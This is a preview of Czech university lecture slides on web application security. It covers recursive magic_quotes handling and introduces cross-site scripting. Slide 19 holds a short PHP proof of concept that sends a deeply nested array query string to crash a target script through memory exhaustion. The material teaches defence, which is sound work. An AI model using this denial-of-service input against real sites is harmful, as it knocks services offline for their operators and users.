Bezpečnost aplikací
Níže je uveden pouze náhled materiálu. Kliknutím na tlačítko 'Stáhnout soubor' stáhnete kompletní formátovaný materiál ve formátu PDF.
department of computer
science
and engineering
X36TW1 – Tvorba webových aplikací 1
Přednáška 9 / Strana 19
Exploiting Code in Previous Slide
While the code on the previous slide works, it can be
trivial y exploited, due to its usage of recursive functions!
<?php
$qry = str_repeat(“[]”, 1024);
$url = “http://site.com/script.php?a{$qry}=1”;
file_get_contents($url);
// run up in memory usage, followed by a prompt
crash
?>
department of computer
science
and engineering
X36TW1 – Tvorba webových aplikací 1
Přednáška 9 / Strana 20
Odstranění vlivu magic_quotes
if (get_magic_quotes_gpc()) {
$in = array(&$_GET, &$_POST, &$_COOKIE);
while (list($k,$v) = each($in)) {
foreach ($v as $key => $val) {
if (!is_array($val)) {
$in[$k][$key] = stripslashes($val);
continue;
}
$in[] =& $in[$k][$key];
}
}
unset($in);
}
department of computer
science
and engineering
X36TW1 – Tvorba webových aplikací 1
Přednáška 9 / Strana 21
Cross Site Scripting (XSS)
Cross Site Scripting (XSS) je situace, kdy útočník vloží do
stránky škodlivý HTML kód, který se pak zobrazí na stránce
(např. ve fóru)
– Znehodnocení stránky.
– Převzetí session.
– Krádeže hesla.
– Sledování činnosti uživatelů.